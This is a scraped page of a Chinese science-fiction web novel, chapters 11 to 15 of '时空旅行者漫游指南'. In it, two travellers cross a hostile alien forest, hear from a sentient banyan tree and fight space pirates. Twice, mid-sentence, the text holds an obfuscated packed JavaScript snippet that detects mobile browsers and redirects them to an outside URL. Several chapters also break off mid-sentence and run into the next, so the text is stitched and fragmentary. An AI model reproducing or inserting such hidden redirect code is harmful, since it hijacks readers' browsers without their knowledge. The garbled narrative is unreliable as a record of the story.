“你也说了是意外,那又不是你的错。”莱纳德嘟囔道。 “此外,其实还有一点私心,”以利亚又说,莱纳德的心跳忽然快了起来,“我不希望你以为我们的旅行总是在冒险,影蛉虫、爆炸、力场怪……说实话,我自己都很久没经历过这么充实的一天了。” 以利亚说着展颜一笑,星光映在那双灰色眼睛里,仿佛冰河解冻。 “居然只有一天吗?天呐,我还以为至少一个星期了。”莱纳德吁了口气,向后躺在草地上,专注地望着星空,心跳慢慢平复下来,他安静地呼吸了一会儿,才又说道:“但我好像已经习惯冒险了,这很奇怪,我是说,我本来应该很害怕的,被那红字咬了一口的时候,跟杰拉斯对峙的时候, 17.第十一章:森林 《时空旅行者漫游指南》全本免费阅读 风琴河对岸的草地是玫瑰色的,齐膝高的草叶间探出几朵绛紫色的花,朝两人张开巴掌大的花盘,摇晃一阵,又不感兴趣似的钻回草间。 莱纳德绕开那些活力十足的紫花,还有蛇一样忽隐忽现的小溪,对以利亚说:“放心,我没有被那个声音催眠,如果你担心这个的话,我只是需要过去看看。” “如果你不想我担心,总得告诉我那个声音说了什么。”以利亚板着脸。 “说不上来,只是一种感觉。”莱纳德想了想,又说,“它听起来……很真诚。” “真诚?嗯哼,真让人安心。”以利亚忍不住讥刺道。 “嗯哼,就像你给我的防护服和氧气面罩一样安心。”莱纳德反唇相讥,但事实上,他对以利亚坚持要他穿上的这身银灰色连体服十分满意,特制材料会根据体格变换大小和松紧,穿上之后很舒适。 氧气面罩则是轻若无物的透明泡泡,绝不会因为吐气产生遮挡视线的白雾,还有几瓶固态氧挂在腰带上备用,据以利亚介绍,一小瓶氧就足以支持一个成年人自如呼吸一百多个小时。 莱纳德知道自己内心有一部分一直在期待很酷的外星装备,就像八岁男孩期待遥控飞机一样,但他能把兴奋之情隐藏得很好,尤其是在斗嘴的时候。 “希望你在朝见智慧树的时候也能保持这种乐观。” “嘿!”莱纳德用胳膊肘撞了以利亚一下,“我以为我们在这件事上达成一致了,至少我还等你回来,不像你,不打个招呼就单独行动,跑去跟哪个外星冒失鬼玩过家家,还把外套丢了。” “……那我们算扯平?” “扯平。” 两人脚下平坦的原野不知何时变成了起伏的坡地,翻过一个山丘,不远处便是一片密林,高耸的树梢掩映间,一道金色光束忽然穿透林叶,直冲天际。 “就是它,”莱纳德一时无法挪开目光,那束金光伴着绵绵乐音冲入云霄,又像喷泉似的四散开来,摄人心魄,他喃喃道,“以利亚,就是它。” “时光榕树。”以利亚伸手搭了个凉棚远眺,脸上带着欣赏赞叹的神色,“这棵是母树,跟我想的一样。” “跟你想的一样?”莱纳德问,短短地惊讶了一瞬,当然了,行走的宇宙维基百科先生自然什么都知道。 “时光榕树的母树智慧程度远高于大部分动物,毫不夸张地说,它维系着这里的完整生态系统运转,如果这颗星球上有哪个植物能对你说话,一定非它莫属。”以利亚说着笑了笑,“准备好,莱纳德,我们的探险要正式开始了。” 莱纳德疑惑:“探险?”在金色喷泉的映衬下,眼前的森林看起来美好、静谧,尽管那缥缈乐声中似乎有种说不出的悲伤。 以利亚说:“时光榕树是这片森林的灵魂所在,这里的所有植物都会不惜一切代价保卫母树,换句话说,离时光榕树越近,我们遇到危险的可能性就越高。” “比如?” “比如我们半小时前走过的草地,你看到那些紫色的花了吧?它的花粉有强烈的催眠作用,如果没有氧气面罩,我们至少得在草地里大睡三个月,前提是没被饿死。” “好厉害。”莱纳德吹了声口哨,“你好,睡魔先生,拜拜,七月星空。” 以利亚叹气:“那片森林里从未有动物聚居过,遑论人类,所以拜托,不管发生什么,一定要跟紧我。” “听到了,教授。” 莱纳德抬起脚,发现自己正踩在柔软的落叶上,他仰起头,原地转了一圈,头顶的天空被树枝分割成形状各异的无数块,偶尔有飞鸟似的黑影在树枝间穿梭,却连半声鸟鸣都听不到。 “怎么……回事?”莱纳德扭头看看,以利亚就在身旁,这让他松了口气,但仍有一丝不安,他不记得自己是怎么走进这片森林的了,他只记得以利亚啰里啰嗦地告诉他跟紧自己。 “喂,你怎么了?”以利亚凑过来。 “没什么,但我好像来过这儿,”莱纳德四下打量,这片林子从哪边看过去都一模一样,他喃喃道,“既视感,就是那种似曾相识的感觉,以利亚,你没有吗?” 以利亚耸耸肩:“森林嘛,总有相似。” “但我们又不是在国家黄石公园,这里可是外星森林,我们刚刚经过的草地都是粉色的!等等,几点了?”莱纳德看向头顶光影斑驳的天空,一面搓搓手臂,鸡皮疙瘩正一路向上,“开什么玩笑,已经过了中午了?” “当然,我们都走了几个小时了,杜弗伦先生,别告诉我你一路上都在打瞌睡。”以利亚拍拍莱纳德的肩膀,“路还长呢,打起精神来。”说着径自往前走去。 莱纳德盯着以利亚的背影,皱起眉头,不情愿地跟上。 落叶在脚下沙沙作响,他神经紧绷地观察他们经过的每一棵树,没有树忽然活过来开口讲话,也没有蛇一样扭动来去的溪水,除了两个人的脚步声,和他太阳穴下血管跳动的砰砰声,只有寂静,完全的寂静,整片森林没有发出一丝声响。 这不对劲,莱纳德想,即便是对于外星森林而言。 “以利亚,等等!”莱纳德拉住以利亚,指着身旁至少两人合抱的粗大植物,“来你看这棵树。” 以利亚顺着树干仰头向上望去,眯起眼睛:“这就是一棵柳树嘛,长得还挺高。” 莱纳德咬住牙,一字一顿:“别告诉我你看不出不对劲来。” “有什么不对劲吗?”以利亚笑了笑,“嘿,长得高可不代表它就是神仙树了。” 莱纳德脸色忽然间变得雪白:“你说什么?” “我说这棵树看起来没什么特别的,倒是你,怎么看见它就走不动道了?”以利亚往前走了一步,莱纳德却立刻后退,反问,“你怎么知道它叫神仙树的?” 以利亚摊开手,露出一个茫然的微笑:“莱纳德,你在说什么?”他又上前一步,莱纳德猛地向后一跳,差点在树藤上绊倒,挥舞着手臂大叫起来:“别过来!你不是以利亚,别过来!” “你吓糊涂了,莱纳德,冷静点。”以利亚投降似的举起两只手,安抚道,“好吧,我不过去,但看在 18.第十二章:蘑菇 《时空旅行者漫游指南》全本免费阅读 莱纳德拔腿就跑,一头扎进两人高的蘑菇丛中,背后响起愤怒的喊声:“回来!听到没有!” 在蘑菇丛里奔跑显然不是个好主意,巨型蘑菇还好说,有些蘑菇比米粒大不了多少,一簇一簇地依附在其他植物上,菌丝四处蔓延,莱纳德根本不敢踩到任何一颗蘑菇,老天爷,这简直比在蚂蚁洞里不踩死蚂蚁还要难。 至于身后那个东西什么时候会追上来,莱纳德更是想都不敢想。 砰! 身后猝然响起爆炸,莱纳德边跑边回头一瞥,原来是一颗竖琴状的蘑菇正在释放孢子,一根根“琴弦”绷紧膨胀,砰——无数亮白色的“音符”便朝四面八方飞散而去。 这景象真是美极又怪极,莱纳德不由得脚步一慢,却不料身旁一排半人高的笔尖蘑菇骤然开伞,他来不及躲闪,结结实实一头撞了上去。 蘑菇伞质地极富弹性,跟落到蹦床上似的,莱纳德还没叫出声,整个人就 “嗖”地朝后飞出去,越过一丛五颜六色的小蘑菇,“噗通”一声——不偏不倚,恰好跌进一个朝天张开的蘑菇盏里。 蘑菇盏里不是空的,金黄色液体瞬间包围了他,视野顿时一片混沌,万幸有氧气面罩,莱纳德四肢拼命挣扎,总算把头探了出去,可蘑菇盏底盘呈弧形,被蜜液浸得滑不留足,任凭他怎么使力也没办法站直身体。 “外来者,亮明你的身份。” 这句话就这么凭空出现在莱纳德的脑海里,介于声音和文字之间,就像他在风琴河畔“听”到的那样,却又不是同一个,莱纳德犹豫着,不知道自己是该回答地球人类莱纳德,还是失忆的时空旅行者。 “地球人莱纳德,你为什么来到这里?”那声音很快再次响起,不知怎地竟然捕捉到了他脑海里一闪而过的念头,莱纳德集中精神,努力让自己只思考一个问题——你是谁? “我是金盏菇。” “呃,你好?我、我是受到时光榕树召唤而来,你能放我出去吗?拜托了。”莱纳德无比希望此刻以利亚就在身边,他一直擅长应付这类事情,而且以利亚说得对,真该紧紧跟着他的,至少他肯定知道该怎么跟蘑菇巨碗交流才不至于被它用金色蜜液化掉。 “我不会把你消化掉,地球人,你的心中没有恶意。”金盏菇回应道,“去吧,时光榕树母亲还在远方。” “谢谢!我其实还在找我的朋友,你要是……啊!”莱纳德脚下骤然一空,蘑菇盏向一旁歪倒,他双腿不由自主连蹬带踢,跟八爪鱼坐滑梯似的,“嗤”的一下滑出去,在地上连打了几个滚。 莱纳德呻吟着爬起来,用力抹掉氧气面罩上的金黄色蜜液,这才勉强看清楚,刚刚把他“吐”出来的蘑菇盏足有一人多高,跟巨型猪笼草似的,伞盖却更加肥厚,浑身金黄,艳丽得几乎不真实。 谁又能想到这样一颗巨型蘑菇竟然还会“说话”? ——时光榕树母亲还在远方。 莱纳德伸手在眼前搭了个凉棚,目之所及到处都是形态各异的蘑菇,时光榕树喷出的金色光束却早已消失,他真希望金盏菇把远方的具体位置也告诉他,刚才一路逃命,他早就迷失方向了。 但也许是否极泰来,莱纳德靠着直觉出发,一路上居然走得颇为顺利,不再有蘑菇恶作剧一样朝他开伞,鬼鬼祟祟的菌丝也消失无踪,他挤过一丛非常密集的矮蘑菇时,几颗蘑菇竟主动向外倒了下去,仿佛在给他指路。 又走了好一阵,他才反应过来,大概是金盏菇在他身上留下的黄色蜜液在帮忙,就像蜜蜂的信息素。 莱纳德忽然停下脚步,他没听错,左手边很近的地方有衣料摩擦的细微动静,有人,他紧张地屏住呼吸,攥紧拳头随时准备自卫。 嗤—— 几颗瘦瘦长长的蘑菇猛然被一双手拨开,灰色根茎间探出一个人来,看到莱纳德,表情先是惊愕,随即大喜,叫道:“莱纳德!可算……啊!” 以利亚捂着鼻子,被打得倒退几步,闷声道:“你发什么疯?” 莱纳德转身拔腿就跑。 背后,以利亚连声喊他:“喂!莱尼!别跑,是我啊!” 莱纳德拼命狂奔,对身后的呼喊充耳不闻,忽然间,右手腕猛地一紧,登时被扯得倒退一步,仿佛被看不见的绳子牢牢拴住似的,紧接着,那绳子扯得更用力,莱纳德失声大叫,倏地朝后跌了出去。 咯啷——他的右手腕撞在某个坚硬的东西上,立时严丝合缝地楔到了一起,可手臂以外的身体却还在惯性下加速朝一颗淌满粘液的矮蘑菇冲去,所幸千钧一发之际,一只手托住他的肩膀,用力把他拉了回去。 “下次再敢打我,我可要还手了。”以利亚声音里还能听出几分痛意,莱纳德那拳可真是出其不意,他举起右手把对方拽起来,两人手腕还连着,紧急指令下,两件防护服的腕部磁环紧紧地吸在了一起,幸亏莱纳德跑得还不够快。 “以利亚?真的是你?”莱纳德眼前金星直冒,坐在地上缓了好半天,心却奇迹似的安定了下来,“他妈的,我还以为再也见不到你了。” 见到莱纳德,以利亚满腔担心也终于烟消云散,他把鼻血在衣袖上胡乱抹了抹,在莱纳德旁边一屁股坐下:“我们刚进森林的时候,有种扰乱人心智的亚原子生物能够越过氧气面罩的防护,我没防备,也被一个漂亮的小东西骗了一段路,看样子,你也差不多咯?” “嗯哼。”莱纳德定了定神,把自己的经历一五一十地讲了一遍,以利亚在听到金盏菇时表情严肃起来,他用手沾了一点莱纳德身上残留的金色液体,在指尖搓了搓,又放在鼻子前嗅了嗅,忽然眼睛一亮,拉起莱纳德:“走!我们去找金盏菇。” 莱纳德的方向感一塌糊涂,好在他鞋底沾满了金盏菇的粘液,两人顺着脚印一路找了回去。 “喏,就是它。”莱纳德指了指眼前高大的金色蘑菇,“现在可以告诉我了吧,我们找它做什么?” 以利亚抬起头:“这么高,你是怎么掉进去的?” 莱纳德不无尴尬地揉揉鼻子:“额,我跑路的时候没注意,被一排蘑菇给弹飞了。” 以利亚不客气地笑起来:“干得漂亮。”他说完后退几步,活动了下肩膀,忽然猛地发力前冲,在那排蘑菇的菌柄上借力起跳,竟然高高跃起,噗通一声,只见金色水花四溅,以利亚以完美的姿势跳进了蘑菇盏里。 莱纳德目瞪口呆:“以利亚?” 没人回应,他又提高声音大叫:“以利亚,你没事吧?” 金盏菇里没发出一丝声响,时间仿佛被按下了慢速键,每一秒钟都格外煎熬,莱纳德站在金盏菇下,在脑子里复盘了以利亚跳进金盏菇的路线,又评估了自己的弹跳能力和起跑加速度,终于悻悻放弃了追随以利亚的念头。 终于,金盏菇慢慢摇晃起来,莱纳德连忙退开几步,只见菌柄仿佛承受不了蘑菇盏的重量似的,骤然弯折,金色蜜液从盏里倾泻而出,其中还混着一个以利亚。 莱纳德把以利亚从地上拉起来,问:“怎么样?” “咳,还行吧。”以利亚伸手擦掉面罩上的蜜液,微笑着说,“我没猜错,金盏菇在这片蘑菇林里智慧程度最高,拥有4级精神力,告诉你吧,那排笔尖菇把你弹进去绝对不是偶然——金盏菇本来就在找你。” “我问金盏菇,那片烟瘴地里扰人心智的东西究竟是什么,它告诉我,最近这里很多生物都发生了某种突变,从性情温和变得乖戾好斗、互相残杀。” “为什么?”莱纳德忍不住问。 “不知道,但也许那就是时光榕树召唤你的原因。”以 19.第十三章:时光榕树 惨叫声撕心裂肺。 莱纳德下意识闭紧眼睛,但骨头断裂和血肉飞溅的声音异常清晰,紧接着就是一轻一重两部分尸体跌落在地上的动静,那条细藤甚至还不如小孩手臂粗,谁知一绞之下,竟然连人带防护服都断成了两截。 莱纳德悄悄睁开眼睛,只看了一眼,就说什么也不敢再闭上,用气音叫道:“以利亚?” “怎么了?”以利亚也跟他看着同一个地方,目光闪动,惊讶中还带着一点恶心。 莱纳德轻轻吸了口气,低声问:“那条藤在干嘛?” 以利亚说:“不知道。” 此时此刻,只见这条细藤不仅姿态像蛇,藤条末端竟还向外张开了“血盆大口”,露出无数细密尖锐的牙齿,在分离的尸首间游转片刻,仿佛在判断哪个位置更好下口,然后一个猛子扎了下去。 莱纳德不是第一次听到咀嚼骨肉的声音,但没有哪次能这么让他胃口尽失,幸好昨晚的点心已经消化殆尽,他努力压下胃里的不适,轻声叫道:“以利亚。” “诶。” “我好像有点理解金盏菇说的基因突变了,不过,我还有一个问题。” “你说。” “我们该怎么做,才不会被这条藤吃掉?” “跑?” “听起来是个好主意。”莱纳德忽然闭上了嘴,屏住呼吸,只见那条蛇藤姿势优雅地从食物间探起身,朝两个人转过“头”来,仿佛方才注意到此地还有两位看客。 莱纳德双腿僵硬地钉在原地,他不记得是哪个BBC纪录片里讲过,在野外遇到蛇,一定不能轻举妄动,因为蛇冷血,更擅长依靠速度优势后发制人、一击毙命,但是,谁又知道这见鬼的蛇藤拥有何种习性。 “别——动——”以利亚嘴唇不动,声音细若蚊鸣,他一边好奇地盯着蛇藤,植物进食在宇宙中绝不罕见,不少缺乏光照的星球都曾进化出过靠碳基生物获取能量的植物,可眼下这种进食方式已经突破了植物与动物的界限,他盯着蛇藤尖牙上粘连的肉和血丝,心想,什么因素会导致这种程度的突变? 蛇藤慢慢朝两人靠近,莱纳德手上一紧,以利亚握住了他的手,轻声说:“我说跑的时候——” “跑!” 两个人夺路而逃,蛇藤发出“嘶嘶”的叫声,却不知为何没有追上来。 “那些、那些拿枪的人,肯定不止一个吧?”莱纳德气喘吁吁。 “他们是星际海盗,看装备是索罗斯海盗里最精良的一批,”以利亚跑得丝毫不慢,说话间呼吸却平稳得多,“刚才那个是落单了,我们运气不错,那只小队八成受到了空气孢子的攻击。” “空气孢子?” “植物变异,记得吧?藤条长牙吃肉,孢子寄生在皮肤上,待会儿说不定还有咬人的苔藓呢。” “那我们、我们这么跑,不会出、出事?” “希望不会。” “希望?” “闭上嘴,跑、跑快点。”以利亚终于也开始喘了。 好在穿过这片树林,目的地便近在眼前了。 莱纳德抬头仰望眼前高耸入云的大树,一时间,连呼吸都为之停顿。“这就是时光榕树?”问得很多余,莱纳德很清楚,就是它,时光榕树。 “是她。”以利亚说,声音含着某种敬畏。 眼前这棵榕树比莱纳德见过的任何一棵树都要高,树干至少有五人合抱那么粗,树皮呈现沧桑的铁黑色,却又有无数温暖的金色光团在气根和枝干间流转,好像生长在树里的小精灵,细长的藤蔓漂浮在空中仿佛没有重量,同样光芒流转。 身边的空气中也仿佛有阳光在跳跃,莱纳德把手贴到树干上,雾状的藤蔓立刻盘绕过来,在他手腕间游动,树干里的金色光团也聚集过来,像金鱼群发现了喂食客,一股轻微的酥麻沿着他的手臂爬上去,不疼,反而暖洋洋的。 “以利亚,我该怎么办?”莱纳德问。 “闭上眼睛。” 莱纳德依言闭眼,视野中立刻出现一片明亮异常的金色,随着他的呼吸起伏流转,那是时光榕树旺盛不息的生命力,他仿佛在金光中看到了一个人影,却说什么也无法看清。 “你来了。”一个声音在莱纳德的脑海里响起,说道,“我们一直在等待你到来。” 那声音比女声浑厚,又比男声清亮,不同于金盏菇,听起来更加像人,莱纳德忽然产生了某种心有灵犀似的感应——他之所以会从金盏菇那里听到“时光榕树母亲”这个词,并非时光榕树真有性别之分,而是因为在他自己的文化里,河流、土壤、星球,甚至文明本身,都往往冠以母亲之名,而非父亲。 多么奇妙的交流方式,没有语言隔阂,而是直接在灵魂上烙印讯息。 “我听到了你的召唤。”莱纳德回应道。 “非因我召唤,你来此地,乃系冥冥中自有天意。” “我很确定,”莱纳德苦笑,“我来是为了看星星。” “外乡人,此地生灵的安危悬于一线,”那声音静静地说道,“唯有你能改变这一切。” “什么?我?”莱纳德讶然,又随即想到,以利亚说星际海盗全副武装来此,是为了劫掠珍贵植物运到黑市高价售卖,可他又能做什么?就算真有人能改变这一切,那也是以利亚。 时光榕树显然“听”到了他的这些想法,回应道:“切勿妄自菲薄,你能做的远比你想象得要多。” “可我怎么阻止得了海盗?” “你会的。” “你怎么能肯定?” “时光一族窥探得到过去未来,你是拯救此地生灵的唯一希望,命运指引你来此,如果失败,势必将有毁灭性的灾难降临。” “可我只是个普通人……”莱纳德的心忽然狂跳起来,“等等,你看得到我的过去?” 而时光榕树的回答又让他的心跳空了半拍,“你的过去迷雾重重。” 莱纳德叹气:“我失去了一段重要的记忆。” “不止如此,你的过去如同未来一般充满未知。” “那是什么意思?” 时光榕树却不回答,只说:“我可以指引你找回失去的记忆,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912635|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你帮助我的时光精灵孩子回家。” “时光精灵?” “时光精灵是我的孩子,他被星际海盗劫走,那些海盗还不知道自己将要面临的后果。” 莱纳德还想继续追问,时光榕树却紧跟着说道:“去吧,外乡人,我等你归来。”他只觉得一股轻柔却不容拒绝地力量将他向外推去,再睁开眼时,金色光芒和那个隐隐约约的人影都不见了。 身后,以利亚注视着他:“怎么样?” 莱纳德捂着脑袋,只觉得耳边犹自有声音回荡,他定了定神,回答道:“时光榕树让我去把她的孩子找回来,时光精灵,嘶……时光精灵被星际海盗劫走了。”他顿了顿,又说:“时光榕树还答应,如果我做得到,就帮我恢复记忆。” 以利亚一扬眉,面露喜色:“真的?她是这么说的?” 原话好像有点差别,但莱纳德觉得没必要纠结字眼,就点了点头:“她的话可信吗?她真的能帮我恢复记忆?” “当然。”以利亚语气笃定,“时光榕树是时光族中最古老的一员,如果她敢承诺,那就肯定做得到。” 莱纳德忽然想起来,时光榕树还说过,他的过去迷雾重重,像未来一样充满未知,他想把这话告诉以利亚,再问问他是什么意思,但以利亚仍沉浸在刚才的好消息里,他垂头思索片刻,抬起头,用力一拍莱纳德的肩膀:“来吧,我们有活干啦。” 莱纳德把话咽了回去:“干什么活?” “找两个落单的海盗,扒掉他们的衣服,混进海盗船。” “……你说得可真轻巧。” “嘿,举重若轻可是我的中间名。” “我以为你的中间名是放荡不羁爱自由。” “那不是一回事吗?” “不是。”莱纳德跟着以利亚边走边说,不知不觉也放松了下来,但仍然对以利亚的计划没什么信心,“咱们难道就这么赤手空拳地对付海盗?需要我提醒你那些海盗都全副武装,而我们只有一身压根不防弹的防护服吗?” “谁说不防弹?我已经把咱们的防护服密度调整到了最高,就那些海盗的激光枪,只要别冲着脑袋来,少说也能挡三枪。” “哇,整整三枪,真让人安心。” “别小看这三枪,用来逃命足够了。” “逃命?你刚才还说要干掉海盗,再扒光他们的衣服混进海盗船呢。” “我说的是落单的海盗,最好是被空气孢子寄生,失去战斗力的那种。”以利亚说着有些懊恼,“可惜,之前那个已经被蛇藤弄坏了,不然有一身现成的装备能用。” “还是算了吧。”莱纳德觉得比起蛇藤来,他宁愿面对激光枪。 “但如果我没猜错的,被空气孢子寄生的肯定不止一个海盗,走,我们回去找找看。”两人原路返回,以利亚打开了防护腕带上的搜索扫描功能,可惜周遭植物变异程度太高,影响了动物信号,反馈结果可以说是一片混乱,莱纳德看完只觉得密集恐惧症都要犯了。 一支埋伏在灌木丛里的海盗小队就在这时悍然朝他们发起了伏击。 20.第十四章:交火 “莱纳德,右边!”以利亚大吼,同时回身扫踢,把身后海盗手里的电棍踢飞了出去。 莱纳德条件反射就地一滚,狼狈地钻进一丛红色矮灌木,堪堪躲过了投掷来的炸弹,后者产生的爆破力场瞬间将方圆三尺内的物体压缩成了齑粉,莱纳德心惊胆战地探头瞄了一眼,那块地表面寸草不留,仿佛遭到蝗虫过境的迷你麦田,毫无疑问,要不是以利亚及时提醒,他早被轰成灰了。 透过爆炸后的烟雾,莱纳德看到以利亚正跟两个海盗近身缠斗,以一敌二,拳来脚往间居然完全没落下风,还以一招漂亮的反关节擒拿缴下一把激光枪,可惜格斗距离太近,暂时只能充作烧火棍用。 “小心,十点钟方向!”莱纳德蓦地大喊,他看到三个海盗正背靠背抵抗蛇藤和食人花的攻击,其中一个海盗竟然在混战中把枪对准了以利亚。 短短一瞬间,莱纳德心念电转,烟雾维持不了多久,即便以利亚能用激光枪撂倒对方,也肯定会暴露位置,剩下两个海盗势必朝他发起攻击。 肾上腺素疯狂分泌下,莱纳德只觉得时间仿佛被放慢了,一帧一帧从眼前闪过——以利亚上步肘击撂倒了一个海盗,摇闪躲过另一边击来的重拳,顺势矮身,空出右手举起激光枪,目标正是莱纳德警告的那个倒霉海盗。 就是现在! 莱纳德的肌肉反应快过大脑,他甚至没意识到自己该做什么,右手已经迅速伸到腰间,从防护服腰带上取下一罐浓缩氧气,反手朝激光枪射出的方向投掷过去。 轰—— 氧气罐在激光枪下化作一团刺目的白光,平地炸响惊雷的效果也不过如此,方才还站着三个海盗的地方瞬间变为焦土,爆炸产生的热浪向外荡开,将以利亚连同另外两个海盗掀翻在地,莱纳德也被气流顶得呼吸一滞,眼睛都几乎睁不开,但肾上腺素再次替他做出决断,他从灌木丛里一跃而出,冲到以利亚身旁,飞起一脚重重踢在摇晃着准备爬起来的海盗脑袋上,送他去见外星上帝,然后拉着以利亚的胳膊把他拽起来。 “以利亚,快走!爆炸肯定会引更多海盗来的。” “什么?唔,我的头……”以利亚朝后一仰,差点又摔回去,莱纳德连忙用肩膀撑住他,一手揽住他的腰,催促道:“坚持住,我们得赶快离开!” “等等!”以利亚清醒过来,指着地上两个昏死的海盗,“衣服!” “来不及了!”莱纳德听到海盗们大呼小叫的声音正越来越近,“除非、除非我们带这两个人一起走,找个地方藏起来,你能自己走吗?以利亚?”“别急,我有、我有办法。”以利亚忍着头痛站直,从腰间取下一罐氧气,朝海盗增援赶来的方向远远扔出去,然后抬手瞄准,扣下扳机。 爆炸声轰然响起,海盗们的呼叫声顿时化作一片寂然。 “这下时间够用了。”以利亚喘了口气,把激光枪抛到地上,摆手示意莱纳德,“穿衣服,别脱,直接套在防护服外面,氧气面罩也别摘,过来,我帮你。” 换上海盗的行头后,以利亚在海盗统一配发的通讯器上调出了雷达地图,每个海盗位置都有标点,他点了点地图坐上角:“接驳飞船在这里。” “接驳?”莱纳德戴上头盔后只觉得视野模糊了很多,以利亚说那是除雾器故障,他自己的那个更是多处开裂,布满了蛛网似的裂纹。 “你不会以为海盗船会直接在这颗星球降落吧?”以利亚的声音听起来扭曲失真,显然头盔上的麦克风也坏掉了,“这帮海盗比鬼还精,执行任务期间,连接驳船长都不知道飞船的停靠坐标,直到双方交换密钥,才能锁定对方位置。” 莱纳德不由得担心:“这么谨慎,那我们混得进去吗?” “跟着我,”以利亚一副大无畏的样子,“大不了被识破,正面硬刚,抢一艘飞船逃跑。” “谢了,上次你这么说的时候,我差点被炸弹炸成灰。”莱纳德逐渐习惯以利亚安慰人的方式,他跟着以利亚一路小跑,一边警惕地观察着周围,但不知道是不是金盏菇的蜜液仍在发挥作用,竟然没有变异植物朝他们发起攻击,偶尔有蛇藤从枝丫上垂下,又不感兴趣似的盘绕回去。 快要回到接驳船时,两人跟另一小队海盗汇合,对方只剩下三人,更是形状狼狈,连武器都七零八落,有一个海盗头盔上布满了深紫色的苔藓,蠕蠕而动,他奔跑起来不免横冲直撞,惨呼连连。 “快他妈跑起来!你们在等什么?这鬼地方连空气都会咬人。”一个海盗朝他们吼道,另一个海盗却举起了枪,枪口直指以利亚,大叫道:“别动!你的头盔破了!你被感染了!他被感染了!” “闭嘴!”以利亚粗声回道,同时举枪回敬,“别他妈拿枪指着我。” 莱纳德也举起枪:“没人被感染,赶快撤退才是正经。”他迅速判断敌我形势,对方三个人只有一把枪,还有一个连路都看不清,真要火拼起来,也是他们胜算更大。 “扎克,他妈的冷静点,”第一个海盗用力按下另一个海盗的枪口,“你忘了?血腥味会引来那东西……” 莱纳德忍不住问:“什么东西?” “你不会想知道的。”海盗的声音似乎尤有余悸,能把这些刀头舔血的亡命徒吓成这样,他的确不想有机会目睹,莱纳德咽了口唾沫,却仍觉得喉咙发干,仿佛吃下了一把碎纸屑,他回头看看以利亚:“我们还是快走吧。” 以利亚也放下枪,他查看了一下雷达地图,抬起手臂指了个方向:“这边,走吧。” 五个人同路奔逃,又各怀鬼胎,莱纳德生怕拿枪的海盗会趁他们不注意放冷枪,一路上都牢牢盯住他,却没想到,最先丧命的就是扎克。 事情发生得相当突然,莱纳德先是听到了蜜蜂飞舞的声音,并且不像一只,而是一群,他刚问了一句:“你们听到什么动静了吗?”就见右前方的林子里一片黑压压的东西朝他们冲了过来,远看如同黑云,近看竟是一群密密麻麻的小东西,那嗡嗡声却不是振翅,而是它们磨动牙齿的声音。 以利亚反应飞快,按住莱纳德的肩膀把他压到在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924622|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,对几个还愣在原地的海盗大吼一声:“趴下!” 两个海盗闻声扑倒,扎克却尖叫一声,举起枪朝那片黑云拼命射击起来,激光扫过之处,黑云被打散似的向外飘开,但又转眼聚拢,速度竟丝毫没有减慢,对准扎克猛冲过来! 尖叫声戛然而止。 莱纳德从以利亚的手臂下抬头看过去,只见那些黑色的小东西竟不见了,扎克仍一动不动的站在原地,仿佛吓呆了,只听“噗”的一声,激光枪跌在了地上。 “怎么……”莱纳德忽然看清了扎克的头盔,里面黑压压的有无数小东西在飞舞、涌动,转眼间就充满了整个头盔,在小小的球体里愤怒地嗡嗡鸣叫。 “是变异的苍草介子,原本生长在灌木里,现在只是会飞了而已。”以利亚在他耳边低声说,“别怕,这个人够它们吃一阵子了。”眼看目的地已近在咫尺,他顾不上管地上另外两个海盗的死活,拉起莱纳德朝接驳船的方向飞奔过去。 接驳船竟已准备起飞了! “等等!我们还没登船!”以利亚放声大喊,接驳船长显然是看到了变异介子吃人的场景,生怕惨遭池鱼之殃,竟然打算抛下他们溜之大吉。 以利亚举起枪,犹豫着该破坏哪里才能逼停飞船又不至于影响飞行功能,莱纳德忽然在他旁边大喊大叫起来:“别走!我们找到船长要的货了!喂!” 接驳船的引擎发出野兽咆哮似的声音,却并没有腾空而起,四周尘土飞扬,侧门却忽然向外打开,一个穿着笨重防护服的人站在门口,双手端着一架笨重的机器,对准他们,大吼道:“货在哪里?” 以利亚瞳孔骤然紧缩,他认出了对方手里的火焰发射器,不由得悚然一惊,利益或许能诱使他们冒生命危险,但这群海盗可绝不会讲伙伴情谊。 “先让我们进去!”莱纳德喊道,竟丝毫不觉得害怕。 “感染者别想踏上我的飞船!” “我们没有感染!” “少废话,货呢!” 莱纳德忍不住就想硬冲过去,被以利亚牢牢抓住,后者的枪口始终瞄着对方的双目之间,大声道:“没有货你交代不了,没有我们你一样完蛋,你以为船长见你空手而归会放过你吗?” 对方思索的短短一瞬间,以利亚毫不犹豫地扣动扳机,激光枪将对方打得后退几步,火焰枪的枪口歪到一边,趁这几秒钟的空档,他带着莱纳德沿“之”字形路线斜斜冲向侧门,火焰从两人身侧喷射而过,瞬间将身后的两个海盗烧成了两团火球,在惨叫声中熊熊燃烧。 以利亚合身猛扑,将那人掀翻在地,在对方挣脱之前用腿牢牢锁住他下半身,双臂绞在他颈间,一手按住他的头,用力向后扳去,从牙缝里挤出一句:“莱纳德,夺枪!快!” 莱纳德这才如梦初醒地冲过去,但两人角力之间,以利亚肋下挨了一记肘击,左手松脱,对方竟然将半边肩膀挣脱开来,火焰枪紧跟着再次喷射,火舌霎时舔上莱纳德的防护服,将他包裹在了烈焰之中。 “莱尼!” 21.第十五章:海盗船 